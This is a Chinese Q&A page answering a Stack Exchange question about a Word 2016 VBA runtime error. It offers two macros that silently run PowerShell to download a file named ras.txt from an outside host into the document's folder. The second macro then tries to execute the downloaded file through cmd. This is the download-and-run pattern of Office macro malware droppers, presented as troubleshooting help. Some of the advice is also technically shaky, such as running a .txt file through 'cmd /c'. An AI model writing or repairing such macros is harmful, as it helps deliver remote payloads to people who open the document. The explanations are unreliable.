Word2016中VBA调用PowerShell执行txt文件遇运行时错误5

错误原因 #

Shell 函数仅支持调用可执行文件（如.exe、.bat、.cmd），而.txt是纯文本文件，不属于可执行程序范畴，直接传入Shell会触发「无效的过程调用或参数」错误。

解决方案 #

方案1：用系统默认程序打开TXT文件 #

使用ShellExecute API替代Shell函数，它可以让系统用默认关联程序（比如记事本）打开任意类型的文件：

' 模块顶部声明API（Word 2016及以上需用PtrSafe）
Private Declare PtrSafe Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" ( _
    ByVal hwnd As LongPtr, _
    ByVal lpOperation As String, _
    ByVal lpFile As String, _
    ByVal lpParameters As String, _
    ByVal lpDirectory As String, _
    ByVal nShowCmd As Long _
) As LongPtr

Sub DownloadAndOpenTxt()
    ' 先检查文档是否已保存，避免路径为空
    If ActiveDocument.Path = "" Then
        MsgBox "请先保存当前文档！"
        Exit Sub
    End If
    
    ' 修正PowerShell下载路径，确保文件保存到文档所在目录
    Dim downloadCmd As String
    downloadCmd = "powershell (New-Object System.Net.WebClient).DownloadFile('https://mysite.net/ras.txt','" & ActiveDocument.Path & "\ras.txt')"
    Shell downloadCmd, vbHide
    
    ' 用默认程序打开TXT文件
    Dim txtPath As String
    txtPath = ActiveDocument.Path & "\ras.txt"
    ShellExecute 0, "open", txtPath, vbNullString, vbNullString, vbNormalFocus
End Sub

方案2：执行TXT中的命令脚本（若TXT是命令内容） #

如果你的ras.txt实际是命令行脚本（只是后缀为txt），可以通过cmd来执行其中的内容：

Sub DownloadAndRunTxtScript()
    If ActiveDocument.Path = "" Then
        MsgBox "请先保存当前文档！"
        Exit Sub
    End If
    
    Dim downloadCmd As String
    downloadCmd = "powershell (New-Object System.Net.WebClient).DownloadFile('https://mysite.net/ras.txt','" & ActiveDocument.Path & "\ras.txt')"
    Shell downloadCmd, vbHide
    
    Dim txtPath As String
    txtPath = ActiveDocument.Path & "\ras.txt"
    ' 用cmd执行TXT中的命令
    Shell "cmd /c " & txtPath, vbNormalFocus
End Sub

额外注意事项 #

• 下载URL需补充完整协议（如https://），避免PowerShell无法识别地址；
• 若文档未保存，ActiveDocument.Path会为空，必须先保存文档再执行代码。

内容的提问来源于stack exchange，提问作者LEarn123